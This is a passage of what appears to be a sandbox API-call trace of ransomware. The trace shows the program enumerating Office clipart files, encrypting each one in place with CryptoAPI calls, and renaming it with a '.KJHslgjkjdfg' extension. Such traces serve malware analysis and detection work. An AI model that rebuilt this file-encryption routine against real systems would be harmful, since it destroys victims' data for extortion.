hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.435] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4330, lpOverlapped=0x0) returned 1 [0181.436] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4330, dwBufLen=0x4330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4330) returned 1 [0181.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.437] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4330, lpOverlapped=0x0) returned 1 [0181.437] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.437] SetEndOfFile (hFile=0x114) returned 1 [0181.440] GetProcessHeap () returned 0x2a0000 [0181.440] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.440] GetProcessHeap () returned 0x2a0000 [0181.440] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.kjhslgjkjdfg")) returned 1 [0181.442] CloseHandle (hObject=0x114) returned 1 [0181.442] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1 [0181.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.443] GetProcessHeap () returned 0x2a0000 [0181.443] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.443] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.443] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0181.445] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.445] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.445] GetProcessHeap () returned 0x2a0000 [0181.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.445] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.445] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.445] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.445] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.446] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.446] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.446] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.446] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.446] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.446] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11dee, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x11dee, lpOverlapped=0x0) returned 1 [0181.448] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11df0, dwBufLen=0x11df0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11df0) returned 1 [0181.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.449] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11df0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x11df0, lpOverlapped=0x0) returned 1 [0181.450] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x11ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.450] SetEndOfFile (hFile=0x114) returned 1 [0181.453] GetProcessHeap () returned 0x2a0000 [0181.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.453] GetProcessHeap () returned 0x2a0000 [0181.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.kjhslgjkjdfg")) returned 1 [0181.454] CloseHandle (hObject=0x114) returned 1 [0181.454] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1 [0181.455] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.456] GetProcessHeap () returned 0x2a0000 [0181.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.456] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.456] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.458] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.458] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.458] GetProcessHeap () returned 0x2a0000 [0181.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.458] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.458] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.458] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.458] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.458] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.459] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.459] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.459] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.459] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.459] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x94c4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x94c4, lpOverlapped=0x0) returned 1 [0181.460] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x94d0, dwBufLen=0x94d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x94d0) returned 1 [0181.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.461] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x94d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x94d0, lpOverlapped=0x0) returned 1 [0181.461] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x95a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.461] SetEndOfFile (hFile=0x114) returned 1 [0181.464] GetProcessHeap () returned 0x2a0000 [0181.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.464] GetProcessHeap () returned 0x2a0000 [0181.464] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.kjhslgjkjdfg")) returned 1 [0181.465] CloseHandle (hObject=0x114) returned 1 [0181.465] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1 [0181.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.467] GetProcessHeap () returned 0x2a0000 [0181.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.467] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.469] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.469] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.469] GetProcessHeap () returned 0x2a0000 [0181.469] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.469] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.469] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.469] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.469] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.469] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.470] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.470] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.470] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.470] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.470] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.470] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb5b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb5b4, lpOverlapped=0x0) returned 1 [0181.471] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb5c0, dwBufLen=0xb5c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb5c0) returned 1 [0181.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.472] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb5c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb5c0, lpOverlapped=0x0) returned 1 [0181.473] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.473] SetEndOfFile (hFile=0x114) returned 1 [0181.476] GetProcessHeap () returned 0x2a0000 [0181.476] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.476] GetProcessHeap () returned 0x2a0000 [0181.476] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.kjhslgjkjdfg")) returned 1 [0181.477] CloseHandle (hObject=0x114) returned 1 [0181.477] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1 [0181.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.479] GetProcessHeap () returned 0x2a0000 [0181.479] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.479] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.479] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.480] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.482] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.482] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.482] GetProcessHeap () returned 0x2a0000 [0181.482] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.482] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.482] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.482] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.482] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.482] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.482] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.483] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.483] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.483] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.483] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.483] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x31dc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x31dc, lpOverlapped=0x0) returned 1 [0181.487] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31e0, dwBufLen=0x31e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x31e0) returned 1 [0181.487] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.487] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x31e0, lpOverlapped=0x0) returned 1 [0181.488] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.488] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x32b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.488] SetEndOfFile (hFile=0x114) returned 1 [0181.490] GetProcessHeap () returned 0x2a0000 [0181.490] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.491] GetProcessHeap () 